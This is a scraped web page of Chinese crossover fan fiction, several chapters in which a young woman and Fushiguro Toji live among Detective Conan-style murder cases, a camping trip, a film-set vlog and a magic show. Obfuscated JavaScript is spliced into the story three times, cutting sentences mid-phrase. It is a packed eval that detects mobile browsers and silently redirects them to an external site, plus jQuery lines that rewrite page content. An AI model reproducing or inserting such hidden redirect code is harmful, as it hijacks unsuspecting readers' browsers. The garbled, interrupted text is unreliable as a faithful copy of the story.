l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413096|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实的怀抱里,小莳再一次闻到伏黑甚尔身上令人舒适的温暖气息,她依靠在男友胸前,紧紧环抱着他的腰,维持了有一阵子,直到她的情绪从澎湃到平静,小声嘟囔,再次重复曾经说过的承诺。 伏黑甚尔听得清楚,她在说“我会对你好的。” 灰原哀很喜欢甜点,并愿意和小莳一起分享,小莳满脑都是刚才的贴贴,婉拒吃饱了,回房,拐弯时还被墙角撞了一下。 夜晚,小莳窝在梳妆台的靠椅上享受吹干服务,感受男友的手指轻轻摩挲她的头发,再以此为梳帮她慢慢打理。吹风机停下后小莳踩着皮质坐垫就往后转,几秒之间就转换了阵地,到伏黑甚尔怀里。她双腿盘在男友腰上,双臂环绕着他的脖颈,与他鼻尖对着鼻尖,亲了上去。 …… 小莳借着双唇分开的短暂功夫轻声对男友下指令:“到床上去。”男友却露出了有点恶劣的笑,对她说:“悠着点,我还没洗澡。” “……”说实话已经到这一步,难得一次没有洗澡就贴贴不是什么大不了的事,但他偏要拿出来说,小莳可说不出“哦没关系我们先亲热”这种话。她松开手就要脱离怀抱,伏黑甚尔摁着她的背将她往怀里压,不叫她离开,加深了这个吻。 等伏黑甚尔解决完个人问题顺便洗澡后,小莳已经在床上睡去,只是留了一盏夜灯,睡得并不安稳。他一上床的动静就让小莳醒来了,主动分给他一半的被子,顺带人也卷着被子蹭怀里,非常熟练的找了个位置安歇。 伏黑甚尔正是清醒想聊天的时候,在她再次阖眼前说:“才十一点,别睡,我们聊一会。” 小莳压根不想理他,但难得男友好兴致,作为伴侣也应当捧场,伸手揉了揉眼睛,“甚尔想聊什么呢?” 接着她感受到背部离热源更近,听见他在耳边说话,呼吸吹得她耳朵上的绒毛东倒西歪,剐蹭得痒:“你似乎很为那个妻子不平?你都没见过她。” 不是吧,大晚上谈案件?小莳满头黑线,能不能聊点阳间的话题,没好气地说:“因为我是一个有着正常共情能力和一般同情心的人类,对现场全员恶人里唯一一个没什么恶念的人高看一眼也是人之常情。” “陶艺室助手也没做什么坏事。” 小莳想了想,挑选了一个合适的说法:“起心动念,积累了不少恶业,真论起因果,妻子的死她得负个次次责:亡妻主责,出轨的丈夫次责。说不上多讨厌,但我挺烦这类人的。像蚊子,虽然只是为了吃饭吸血,但你知道非洲的疟疾艾滋等血液传染病有相当一部分是通过蚊子乱吸血传播的吗?这些病症对人的伤害不小,一不注意就死掉了。我看那助手根本也不爱死者,不然不会首先忙着偷乐,现实生活中,往往反而是这类蝇营狗苟的人活的最好,没什么别的追求。” 伏黑甚尔打心眼里想否认这个说法,他想到了自己在另一个世界的事情,不过他不打算说出来:“……但你也没有为死掉的妻子愤怒?” “死者情绪稳定,她自己都不生气。我是觉得每个人应该有自己决定人生道路的权利啦,在计划复仇和断舍离外,选择死路一条也不失为一种自由意志。”小莳翻过身,这下彻底清醒了,她把手穿过伏黑甚尔的手臂和身体的夹缝,腿搭在他的腿上,与男友侧着相拥,“我要是在小说里看到这种情节绝对会破口大骂,但是真人真事发生的时候就只好旁观唏嘘世事无常了,毕竟我可是很懂得约束克制自己,掌握分寸的。” “外热内冷。那如果……”伏黑甚尔说到一半顿住,引得小莳“嗯?”期待下文,“那个小鬼的女朋友,你的同学。你似乎对她的生活背景颇有微词,如果小鬼有了别的女朋友,啊,假设是灰原哀,你会怎么做。” “……我觉得不论是柯南还是工藤新一,都没有好到两个女孩都爱上他的程度吧,你这纯纯柳先生上头。而且其实我以前内外都挺冷的。”小莳戳戳伏黑甚尔的额头,你们男的别太爱想。 伏黑甚尔捉住她捣乱的手,放到嘴边亲吻,一边反驳小莳对异性之间的暗流不敏感:“我只是好奇如果是朋友遭遇这些,你会怎么处理,而且小鬼本来就和你同学感情深厚,又和灰原哀有共同的遭遇,会更容易有共同话题。我这是合理推测。” “你还挺……会嗑。”把性缘脑稍微改成了中性词汇,小莳没怎么思考就说:“如果我确定柯南君又有女朋友了,应该会不包含揣测的把我看到的东西告诉小兰,动机出自良心和友情。捉奸这事我以前在那边听说过的不少,烫手山芋,说出去反而可能里外不是人。” 被提示,想起来名字了,毛利兰,“我会装作没看见,你人不错。” “啊对对对,因为你没朋友。”小莳随口吐槽,把伏黑甚尔抱得更紧,“我和同学们关系说不上多亲密,同声相应,同气相求,在这里能勉强和我算得上情意相投的除了征十郎也只有甚尔,其余人虽然是朋友,但也只是朋友了。” 伏黑甚尔对赤司征十郎有一次排名在前的事情不太满意,但他对上女友一双明亮若星星的眼睛,没说什么。 “征十郎对我很好,我决定他也是我的亲人;甚尔是特殊的,我想和你在一起,如果条件允许的话想一直在一起!” 他把女孩搂在怀里,细心替她把被子掖好,“恩,我也想和你在一起。” 至于更未来的事,他不去想,也不做承诺。 29. 第 29 章 接下来的日子过得都顺遂极了,不用上学,不用操心生活,小莳自我评价:像模拟经营游戏后期每天上线收个钱就下线的水平。 当然,米花町的平淡生活自然也少不了案件的点缀。 12月,小莳和伏黑甚尔应有了实验室、实验物资和电视剧而逐渐开朗的灰原哀的邀请,参与了少年侦探团的野营活动。天气虽有些冷,但对烧火烤肉喝汽水来说恰好合适。 他们还遇到了恰好选择了同样地方的一行大学生野营社团活动,江户川柯南既然在场,将要发生的事情不言而喻。 人有四名,嫌犯有三。 小莳一开始拉着伏黑甚尔兴致勃勃地看,她一眼就看出来其中一位名叫晴华的富人家的小姐其实并不是什么有钱人,而身边恭维她的三位同行……她的男朋友,一眼拜金男福浦玲治;没什么存在感但是有点心事的饭合拓人,一眼AB外的钝角选项;最后一位白藤泰美,天堂晴华的挚友好闺蜜,重量级人物,给小莳一种备前千鹤的感觉。当然不是说她有女明星潜质。 白藤泰美,不是嫌犯其中之一。她像那个被害的。 在和男朋友分享心得体会之余,小莳不吝啬的将此事透露给了灰原哀,不出意外的引来怀疑:“你这感觉它准吗?” “别的不敢说,但是有柯南的地方就有案件,你仔细回想,作为少年侦探团的成员,是不是每次团建都有突发情况?” “……”还真是。 没来得及说太多,现场唯一真·天真无邪小女孩吉田步美来了,热情邀请小莳参与制作咖喱的活动,然后期期艾艾地也问了灰原。 灰原看小莳,小莳看伏黑甚尔,伏黑甚尔……把步美吓了一跳,最后变成了伏黑甚尔让光彦柯南和阿笠博士打下手,三位女士坐在帐篷里聊天。 男朋友任劳任怨耳听八方,工作之余偷听女友聊天也并不枯燥。 小莳还挺喜欢这个礼貌又有点小敏感的小女孩,不想让她因为沉默而尴尬,先行起了个头:“我有读心术。” “真的吗?我不信。” “灰原,你有点不可爱,这个时候应该是吉田问我‘大姐姐,真的吗?那你猜猜我在想什么!’才对。” “……”灰原哀撇她一眼,你夹的不像,下次别来。 “那小莳姐姐,你猜猜我在想什么?”步美是个好孩子,脸红红的看了一眼想交朋友的灰原哀,然后问小莳。 小朋友这么配合,你不配合就不礼貌了。小莳用眼神示意灰原哀融入。 灰原哀:…… “你们两个伸出右手,让小莳姐姐来通灵一下,链接能量。”灰原哀和步美分别坐在小莳左右边,一手一个刚好可以签。 “……刚刚还是读心术,某人不要擅自修改世界观。”话虽如此,小天才研究生还是乖乖伸出手递到小莳手心。 步美也乖乖照做,还虔诚的闭上眼睛。 小莳等待三秒,假装思考,然后左手右手贴近,把两个小手搭在一起,“看到了!步美想和哀~酱~交朋友~” “恭喜二位,牵手成功!” 在步美脸色爆红但是小莳松手了她还紧抓着灰原哀,并且又是羞涩又是坚定地问她:“我可以叫你哀酱吗灰原同学?”的时候,灰原哀非常无力点点头,然后转头语气危险问小莳:“你要不要猜猜我在想什么,大师?” 小莳摇头,一脸凝重告诉她:“不了不了,天机不可泄漏,尊师叮嘱我一天只算一卦,不然会被黑暗之力反噬。” 给两位新结识的好朋友留下空间,小莳迅速离开帐篷,还贴心给她们拉上了拉链,随机奖励一个intj。 出了帐篷就找到男朋友和他黏黏糊糊,顺便和他分享今日奇闻:“步美小朋友想和灰原交朋友,好像开朗耶耶和社恐比格,话说步美也有个朋友叫惠,这名字出现频率也太高了。” “所以呢?” “没别的意思,就是觉得你起名的水平有点。”比了一个一点点一咪咪的手势。 从在帐篷里发生的一切就可以听出来这姑娘今天心情很亢奋,火是一把一把的点,伏黑甚尔不和她较劲:“取自恩惠的意思,那孩子生日在冬至。” 算是解释了起名的缘由。 “原来还有谐音梗,看来你还挺爱他的,不然起个南瓜作名字多尴尬。”冬至会有吃南瓜的习惯,小莳觉得伏黑甚尔说不定真做得出这种事,好奇问他:“那你怎么后来不养他了?” 伏黑甚尔沉默了一阵子,小莳这段时间也不忧愁他突然闹脾气了,反正他最后都会好起来,便调侃:“呦,戳你伤心事了。” “他母亲意外去世了,我觉得没什么意义。”伏黑甚尔这么平淡说着往事,切菜时却不小心切到了手。 此等情况属实罕见。小莳一下子脑内有了过量信息,正好也不是说话的时候,得先找医疗包:“咱带了吗?” 伏黑甚尔摇摇头,小莳便让他一边坐着,找那几个社团的大学生去借。两边的营地有些距离,得小走两三分钟。小莳一边走一边头脑风暴,小孩优先,先想到传说中的伏黑惠。这孩子小小年纪就没了妈妈,好可怜,爸爸就像那个商场年末大酬宾满xx减多少再减多少,父爱也一起满减了。 坏爸爸。 甚尔看来还挺喜欢第一任妻子,说不定是真爱,小莳说不上来自己是什么情绪,但她见过类似案例,上一次刚开始看完的时候把书撕了泄愤,后来又买了一本。她这暴脾气。 那本书叫霍乱时期的爱情。书很好,主角很糟,也让小莳丰富了对人类多样性的认知。至少她现在意识到伏黑甚尔对孩子他妈是真有爱的时候不那么惊讶。 小莳心情不如来时美好,这也是情有可原。她稍微劝诫自己,甜也好苦也好,是她自己要谈的,不能只喜欢小猫撒娇喵喵叫,不喜欢小猫不是三天个月大就被抱回家。 找到了大学生们选的地方,他们在河边烧烤,因为大小姐天堂晴华自带房车,所以不需要扎帐篷。听他们热热闹闹的分工烧烤,还有那个白藤泰美时不时有点带着捧杀意味的“如果东西不够就让晴华付钱玲治和拓人你们去买嘛!”小莳觉得自己好像离案件的真相又进了一步。 问他们借了急救箱,温柔善良的晴华小姐和说自己“经常去野外采摘所以很擅长应对应急处理伤口”的饭合拓人一起和小莳回到营地,两个人一起帮忙。 甚尔好像也没伤那么严重,不至于说到破伤风那样吧…… 回去一看,刀给指节切了有点深的一道伤口,伏黑甚尔本人倒是没什么感觉。 喷了药,裹了纱布和胶带,做饭的活还给几位小孩。 小莳和几位大学生在一边聊天,邀请他们留下来吃一碗咖喱,反被晴华小姐邀请回去吃烤肉:“没关系的,如果晚上的肉不够,我还可以再买些。” ……头疼,还是位重视面子到极致的姑娘啊。 “真羡慕小莳小姐和伏黑先生的恋爱,你们看起来很亲密的样子。”天堂晴华说这话的时候透着向往。 小莳很好的掩饰了尴尬神色。别羡慕,刚刚经历了一场小小的前任打击,只不过她稳重成熟,放心里自己调理。 “那我就恭敬不如从命了。”小莳在晴华掏出银行卡时拦住她,从伏黑甚尔口袋里掏出钱包,取出几张现金,“这怎么好意思让你破费。” 塞到她口袋里,“大概过一小时我们去郊区的超市买肉好吗?” 晚上烧烤就算约下了。小莳脑瓜子好使,不多做让自己为难的事,接下来也没和男友接着过去的话题重聊。也算告一段落。 把好消息在元太吃完三碗后告诉各位小朋友,在场众人除了元太都很激动。大家顺利在中午把锅里的食物消耗完毕。一行人拆了帐篷,车开到大学生们那边重新扎营。 下午少年侦探团的孩子们围观大学生们骑单车竞速,又去绕着湖游玩一圈,房车停车不那么方便,小莳借出了自己的车,顺便阻止了伏黑甚尔上车做司机的意图。 “甚尔手还伤着,你在这休息吧。”小莳拍怕他的手臂,然后在他侧脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413097|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲了一下,给男朋友画饼“等回来我烤肉给你吃。” 只是这么说说而已,她不大乐意烤肉,今天也不是很想吃伏黑甚尔烤的,现在也不想和他待在一起,只是找个机会离开他一阵子。与小莳同行的是天堂晴华和她的拜金男友,这人擅长驾驶,甚尔用不得,拿他来用用。 “保时捷taycan!这个颜色我记得没有售卖,改色了吗?” “是吧,我不太清楚,我哥帮我买的。”小莳不懂车,只觉得这鲑鱼粉实在好看,“天堂小姐和我坐后头吧,车上无聊,我想和人聊聊天。” 福浦玲治中途有意和小莳搭话,她没理。 买烧烤食材一趟,小莳把天堂晴华的情况了解的七七八八:是个心理不健全的应届生,缺钱缺爱缺朋友,人对于自己没有的东西又很难以想象,她就短视的以为有了钱朋友就一起来了,苦哈哈打工赚的窝囊费全花在社团上了,找来了一个拜金男,一个拜金女,和一个路人。 可不兴乱做人的人生导师,小莳趁福浦玲治停车的功夫,和天堂晴华先到了超市里,给了她一点小小的暗示:“福浦先生和你在一起4年了?我觉得晴华小姐可以考虑甩掉他。” 说是暗示,其实意味就和她的婉拒一样明显。 天堂晴华脸上的笑意直接出现裂痕:“……” “和我同行的阿笠博士是个名侦探,没有任何案件的真相能逃脱他的法眼,如果你去搜索他的名字,还能看见不少新闻报道呢。”随口想了一套说法,劝假千金知难而退,但新闻报道这事不假,江户川柯南自从被禁大号以后,遇到案件都是乱上线的,谁有号就借谁的,“他悄悄和我说让我劝劝你,不要为了这样的男人浪费人生。他喜欢你朋友,所以你最好和白藤也绝交。” 最后一句是为了把另一个人也点一下,总归两个名字里有一个能让天堂晴华警醒一点。到此为止也算是还了借医药箱和下午帮忙创造圆润离开理由的人情。 小莳在听见锁车声音的时候,最后提醒天堂晴华一句:“阿笠博士就像福尔摩斯一样,凡案件,一眼便知真假,兼有老年人特有的处世智慧,因此看人也十分准,你一定不能不信他。”小心别把自己买一送一到局子里,含恨铁窗泪。 话说到这一步,该劝的都劝了,她又做了一桩好事。 然而,最后还是发生了案件,小莳给伏黑甚尔烤第一块肉的时候--这描述也不大准确,柯南和光彦撒好了腌料,灰原哀和步美把肉加热到半熟,小莳拿到的基本算是半成品,只要随便翻两下就能入口。总之就在她刚刚自愿营业时候,森林传来了天堂晴华的尖叫。 几分钟后,所有人都看见,这个可怜的女孩的男朋友和女朋友都上天堂了。这和小莳想的不一样,她本以为是单走一个,诬陷一个。但无论如何,她命由她不由天,天堂晴华自己选择了这样的结局,案件也如预料之中水落石出。 最终经典的凶手自白环节让小莳差点潮湿了一下,天堂晴华面露愧色对她苦笑,然后转向对口型大师阿笠博士:“早就听闻您一叶知秋、见微知著的本领,只是我实在不甘心!想着或许您既然只发现了他们的肤浅而没看出我的憎恨与复仇愿望……露出这样多的破绽,果然不应该临时改变计划的吗?” 小莳全程盯水泥路。 赌徒在上头时往往会孤注一掷,终究难以悬崖勒马,有些人就是会在蒙昧中顺着自己认定的事实一条路走到黑。 可天堂晴华又何必对她露出那样愧疚的表情呢?只是一场本性未移的报复行为。说真的,她要是不装大小姐,一门心思打工,过几年都能在东京买房了,有这能力何愁在虚妄的感情里沉溺然后赔上一生。 现在好了,被抓进去了,以后出来搞不好连工作都找不到。 小莳医生在警灯的闪烁下,送走本日c位嘉宾。 只是她心中在意的本性难移者,另有其人。她想到了自己的男友,伏黑甚尔。他也会像离开其他女人一样离开她吗? 呀,这可真是令人心情沉重的预想。 30. 第 30 章 案件终了,少年侦探团们已经没了玩乐的心情,大学生那边更惨--来的时候4个人结伴,晚十点的时候仅孤身一人,他还不会开车,和凶手一起坐了警车。 此时已经快到了小莳的日常入睡时间,谢天谢地,她可以借此躲到后座去躺着,不必坐在副驾。她对开车的男友嘘寒问暖了几句,再关心一下他手的创口,所有女友正常步骤都做完了,才落座后座。 谈恋爱是一种令人心情愉悦、能陶冶情操的娱乐方式。而多数恋爱都会拥有相近的周期,开始交往的甜蜜,到如胶似漆的热恋,再到逐渐趋于平淡的日常,其中也会有不少分歧、争吵、冷淡,但那也是必经之路,经过磨合,有不少爱侣学会了相互扶持,最终顺利彼此一起生活。 现在,她的热恋期提前结束了,小莳开始思考这次恋爱的结果。 令人惋惜,她得到的结论和上一次思考的一致。大概会有某一天,伏黑甚尔会突然意识到日常生活的无趣,然后从中脱离,运气好的话他兴许会说声再见,来个像那么回事的分手,实际上大概率不告而别。 这并非是悲观主义作祟,而是有事实依据的合理推测。 第一,她本人是一个相貌出众、虽然本人失去了赚钱能力但关系亲厚的兄长是大财团继承人所以也算是很有钱、脑袋很聪明的女孩。其他也没什么特出之处,如果一定要说,那就是倒霉,骑士学了二十二年屠龙术然后龙灭绝了的那种倒霉。 伏黑甚尔本人也相貌堂堂;对钱有点兴趣,也有赚钱能力,但是喜爱挥霍留不住财,小莳反正不打算无底线给他花钱的……说白了这些钱都来自于赤司征十郎;一看就不是智性恋。 有点钱、好看、生活习惯比较良好的女性不占多数,但也绝非稀有群体;然而不抽烟不喝酒不口臭不脚臭不谢顶、有赚钱能力、有点好看、身材很棒、家务能力优秀的男性更为罕见。毕竟是个引导女人做好老婆,男人做好打工仔的性别差异明显的社会。 第二,伏黑甚尔是个有一套行为模式的人。他会被女性包养,而这样的包养并非完全出自物质生活的匮乏--如果他愿意他自己也可以赚钱,米花町虽然民风淳朴,但纵观整个世界需要外包业务的有心人大概并不少,做小白脸并非不得已为之,他自愿的,因此关系结束了想必也非是财尽情亦断,也是他自愿的。在这套行为模式中他自愿了不少次。 第三,这套模式可能来源于不幸的童年,被扭曲的价值观,和因一方死亡而告终的初恋。对于恋爱来说,对象有个死去的白月光已经是不幸中的不幸,如果对象还罹患多种心理疾病而不自知……那么本性难移这句话用来形容他再恰当不过。过去的苦难在他身上留下难解的结,与他融为一体,不仅丑陋,还会引导他做出未来人生的各样选择,就像引导他之前做的每一次选择一样。 他又有什么理由不选择自愿离开呢? 小莳一想一个不吱声。天呢,因为意难平,他连儿子都不养了,在那之前几年他还给孩子起名惠!虽然小莳的亲爸在育儿方面也很糟糕,但他好歹惦记了女儿一阵子,回来以后也没用金钱卡脖子太久……对亲亲儿子都这样,小莳实在不敢期待他在需要维持情谊的恋爱关系里能表现良好。 【我真是陷入了一场不幸的爱情。】 在这样的想法中她迷迷糊糊真睡着了,再次醒来是在电梯里,关门时叮的一声兼她被抱着,脸正对着顶部刺眼的光源。又吵又亮,下意识抬起左手遮住眼睛,然后侧过去往怀抱里更靠些。 她只说了一句话,“亮,把灯关了行不。” 然后才意识到这不是在卧室,但也不愿多说话。又是遮着眼,又是靠着人不见光,回到温暖熟悉的黑暗中,小莳的意识仿佛种子埋入深厚土壤,再不应答外界。 灰原哀是个对情绪相当敏感的女孩,她今天看见小莳和伏黑甚尔的互动还以为两人感情出现了什么问题,回来时还应她换座位的请求坐在了副驾,如今见这小莳原是真睡着了,且朦胧清醒的时候对男友仍是全盘信赖,只当是自己多心:她是真爱早睡。 听见伏黑甚尔温声和她解释,又看她本人已下线勿扰状态,只觉得情人间的温柔眷恋和美好,连带着对伏黑甚尔都上了一层滤镜,对这个初见像组织爪牙的男人恐惧和忌惮又减一分。回到住处已经是凌晨,夜行动物也选择安歇,她先行进了房间。 伏黑甚尔从浴室里出来,看见小莳从他放下时的平躺改成背对浴室侧卧,再走近,一眼就见她在看黄濑凉太视频剪辑,内容是她最近在看的电视剧。说是黄濑凉太从模特界初入演艺圈,每次到点准点观看,灰原哀也不落下,和她一起。有时赶上吃晚餐他一个厨子喊不来两个电视机前的观众。 哦对,因天内理子也是与黄濑凉太同一经纪人的艺人,她这次捞了个出场时间一集的炮灰小配角。 “……”伏黑甚尔规矩的把浴巾搭在衣架上,从后面一把捞住小莳抱怀里,贴着她明知故问:“在看什么。” 恋爱就像做梦,梦里不知身是客,一朝惊醒,得吃点好的调理调理身体激素水平,不然容易起床气。四舍五入这一切都是为了伏黑甚尔,小莳在为自己必然会逝去的初恋难过,顺便看看别的帅哥。 她翻过身,嘴上说着:“没什么,看点主页推荐,碰见熟人了捧个场。”小莳这会心情好了,少点得失心,多点及时行乐的好情绪,也有余地给男友提供情绪价值。 她乖巧回抱,腿还搭在他光溜溜肌肉饱满的大腿上,甚是亲密,“你头发潮了。快去吹,今天我就不洗头了,给甚尔减少一点工作压力。” 同他亲昵两下,便从他一侧翻到另一侧,下床去浴室。 先把一切疑虑都抛在脑后,好好享受在一起还凑合的日子本身。接下来的日子也就是高高兴兴的过。 又过一阵子因为黄濑所在的剧组收视率过高,导演又组织开张拍vlog,趁着风光时刻加油营业,黄濑阳菜听说自己弟弟和视为亲妹的理子的共同好友也在东京,便邀请小莳携人一同来参加花絮团建。 小莳和伏黑甚尔把同住灰原哀也带上了。 到了现场发现他们还邀请了荣誉导演兼顾问,名侦探毛利小五郎,他不出意料的也拖家带口。真叫一个有缘千里来相会。 天内理子和黄濑凉太争着带小莳团队东逛西逛,没一会人气男二就被场务叫去和毛利小五郎对台词了,电视台的小把戏,拍vlog不靠剪辑靠台本,主打就是让大家跟着人设稳定发挥,再借一把模特和名侦探的名人效应。 热度和金钱,四面八方来! 理子对这些固有套路习以为常,只亲密的拉着小莳学姐和她讲自己在电视里出现的华贵遗容在网上小火了一把,还被很多热心网友拿来剪辑了点斯人已逝意难平的素材。 也算是沾了光,有些广告和剧组发来邀请,这下子生活费有有了,总白吃白喝阳菜姐也忒说不过去。 “……”救命,这个学妹和她小莳学姐一样不会说话。灰原哀现在轻易不说生死,品尝了温馨的柴米油盐正常生活,食髓知味,除了emo从不把这些挂嘴上,她对死亡已经相当敏感。 “平常讲讲这些也就罢了,在名侦探毛利小五郎(主要是你工藤学长)面前说这些,属实太不吉祥。”小莳顺手揪她耳朵,“成为名侦探还有一个大前提。” “那就是?” “那就是真的要有很多案子,那一位是真的有点风水在身上的。你说是吧,甚尔?” “嗯。”伏黑甚尔随口应声。这一幕在其他两人眼中,就是伏黑甚尔盯着小莳又不让她发现,只小声装作敷衍。 小莳没看他,专心和学妹讲话。 不久之后果然传来尖叫。今天vlog里有戏份的本来也没她,现在又天降案件,导演又是个懂得把握机会的,前一秒报警,后一秒摄像头就没再离开毛利小五郎,这种突发案件又是名侦探在场,观众都爱看。 黄濑阳菜过来说明了情况,又拉过天内理子问:“理子,你胆子一向比较大,从来不怕这些,要不要去毛利侦探那边?”暗示她是否要前往现场捞几个镜头。 理子的事业心一下被激发了,眼睛都亮起来:“好好好,我马上就过去!” 跟着跑了几步路,才想起来还有同伴被丢在这里,她匆忙停下,回头笑问:“小莳学姐和伏黑先生要不要一起过去?” 小莳很知趣摇头,自己不想出现在视频里,最近江户川要素过浓,对案件已经也有些过敏了,只让理子玩得开心。 灰原哀:“你听听这说的这是什么话?什么玩得开心?” 小莳对她嘿嘿笑。然后拉着男朋友到一边。 “不知道为什么,我总觉得和理子有些投缘,也不知道她以前经历了什么,养成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413098|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的性格。”送走了学妹,小莳拉着男友随口和他调侃,“说不定她上辈子也是个有些身份在身上的人。” 听者有意,伏黑甚尔光注意女友话里的有些身份在身上,有点心虚,是的,他确实一枪打死了星浆体。但他的良心也着实不多,换了一方天地,没人认识他。再是当时击杀距离比较远,星浆体本人也只在高专结界门口看见过他的脸,后来好像也不认识他--毕竟只有短短一面之缘,认不得也正常。这么一想他又放松下来。 “你紧张什么?” “我没。” 小莳不想计较,但也不搭理他了,甩开伏黑甚尔的手,和灰原哀一起坐旁玩手机。 被通知案件结束时,她正在给齐木楠雄选择下一月份的零食大礼包。 “小莳学姐,我出息了!”今天破案的不是别人,正是天不怕地不怕的天内理子,她还顺脚踹飞了被揭穿后不按常理出牌的犯人--对剧组分工和工作安排心怀怨愤的场务先生。 这些完全都被摄像机老老实实记录下来,稍后经过警视厅的审核便能发上网。 “阳菜姐说我们的制作人认识刑事部长……所以今天连夜剪辑后,明天大概就能晚八准点放送。”天内理子转头就把经纪人耳提面命的不要乱说话忘在脑后,什么都不瞒着学姐。 小莳一看时间,已经下午四点,天近夕阳:“这么赶?” “今天晚上新闻上就会报道这件事,粉丝们肯定也会担心,再是明天会有报纸报道--前辈们说是趁着居民关注点还在,把握时效。”天内理子说到这里也有些羞涩,总感觉不是很尊重的样子。 小莳点点头,导演不愧是勇闯娱乐圈的人精,左右逢源也罢了,更还有一颗投机的心。 两人闲聊之间,黄濑阳菜拉着弟弟再来找理子,“怎么一会不看着你又跑到赤司同学那里去了,快回家吃汤锅啦!” 没人在意黄濑凉太惊魂未定垂头丧气地说:“发生了这事还吃得下去嘛…”他声音太小了。 可他来都来了,小莳还是要了一张签名照。 回家以后送给了灰原。 “送给我的?”收到意外的赠与,很是惊喜,“你只要了一份,不自己留着吗?” “不了,我没那么喜欢黄濑君,本来就是帮哀酱要的。我看你最后一幅想要和他说话但是又不想打扰他的样子,就帮你出手。” “你们之前认识吗?” “他是征十郎的朋友,但我和他也不算特别熟。”见灰原哀投来疑惑的神情,小莳和她解释,“黄濑君初高中时谈过几次恋爱,我哥担心我喜欢他,他觉得恋爱次数过多的男人不可信。” “……原来是这样。但小莳应该不会是在意这些的人吧。”灰原哀倒是没想到赤司集团的继承人是个妹控。 小莳摸着下巴思量片刻,然后左拳敲右掌认真回答她:“这点倒是还好,不过有的选的话我也愿意谈过的没谈过的都尝试一下!” 在话题进一步展开前就被伏黑甚尔打断了,通过掳走其中一位参与人。 “……”小莳的回答和她男朋友的反应都值得听众沉默。 晚上,伏黑甚尔抱着小莳翻来覆去,就是不肯睡觉,她不堪其扰,“有事你就说,怎么了呢我就问?你别不让人休息。” 伏黑甚尔轻嗅怀中人独特的味道,生生把涌到嘴边的挑刺咽回腹中,“你不要想和别人再谈恋爱。” 小莳哈哈大笑,然后被堵上了嘴。 哈哈的笑音变成了呜呜的呜咽。 结束后,被他抛在脑后的问题又被小莳重新提及:“当然,和你恋爱的时候我怎么会想那些呢?” 昏黄的卧室里,她追逐着他游离的视线,最后索性反身压在他身上,伏在宽阔的胸膛,虎口抵着他下巴,伏黑甚尔避无可避和她目光交汇。 “明明是甚尔先问我的,怎么好像一点也不想听到回答。” “甚尔不喜欢我吗?还是单纯害羞了?” 他一旦打定主意不开口,决心便像水库闸门任潮水冲决也绝无转圜。 过一会,小莳觉得独角戏没趣,便从他身上翻下去,“我不喜欢勉强,你不说就算了。” 早就习惯伏黑甚尔这个挑事不解决的有始无终个性,也谈不上失望,小莳在床上滚了两圈打理好心绪就再次准备睡觉。 这次毫无阻拦。 31. 第 31 章 圣诞节那天,小莳带伏黑甚尔去看了著名魔术师蝶野雨绿的魔术秀,还提前一周贴心的给齐木楠雄一家三口寄了门票。 少年侦探团就算了,她不想让江户川柯南打扰约会,正好圣诞节那天阿笠博士在家里做咖喱请大家吃。小莳买了点巧克力让灰原哀带过去和他们分享。 小莳看着帽子里飞白鸽,披风里变出兔子,虽然是司空见惯的魔术但也喜庆,而且这个著名魔术师有一种得天独厚的“好像很紧张很害怕失败”情绪表演在里头,虽然每次都会成功。 在现场,齐木楠雄特意探听了小莳的心音:不是情绪表演,他是真的不行。 小莳被魔术勾起了兴致,想起了自己的老本行,难得给伏黑甚尔说起以前的事情:“幻术是全方位的活动,是将谎言以力求真实的形式表现出来的艺术。织造,引诱,绞杀,有的术士像蜘蛛,就这样瓮中捉鳖。 然而正如蛛网往往在构筑在枝柯茂密之处,静待猎物上门,如果猎物不上钩,便也就白白错付。大部分术士也唯有在特有的时间地点,才能成功捕猎,所谓天时地利人和。没有办法成功欺骗他人的幻术,就像拙劣的魔术,存在毫无意义。这点上来说术士和魔术师也挺像。当然魔术师都是很好很好的人类,他们大概只想赚钱,不太想把人送走。” 伏黑甚尔正被魔术无聊到,正好听小莳饶有兴致的讲起幻术,他也不介意听听恋人以前的事业。 “魔术师们关起门苦练手艺,追求更快的速度,更眼花缭乱的表演,将让观众们瞠目结舌的奇崛幻想展现于千万双眼前……简直就像被放在显微镜下观察一样。我们也是这样。幻术的造物是我们的作品,在我们竭尽心力构建它时,它也用真实做标准检验着、诘问着术士,意图蒙混过关的,大多付出了生命的代价,运气好点的没死在战斗中,基本转行了。也有不信邪又业务不精的,我只能说好运早晚也有用完的一天,他会见识到的。” 伏黑甚尔笑意牵动嘴角的疤:“听起来不是能牵动战局的重要位置。辅助吗?” 这一番话惹得昔日业务员十分不满,做彭格列的幻术师可是既要出任务又要进行内部成员友好交流后的房屋修缮,还要在后勤保障工作几乎没有的情况下动用幻术维持日常生计,几十个术士做不来的活她一人十岁便能全做了,岂止辅助! 她觉得这人嘴真臭。 “你见识短浅,不和你说了,哼。”小莳注意力回到舞台上,魔术师先生刚刚变玫瑰的时候是不是差点被自己绊倒?节目效果未免也太真实了。 而且请上台的嘉宾好像齐木同学,emm,好像是他本人诶。 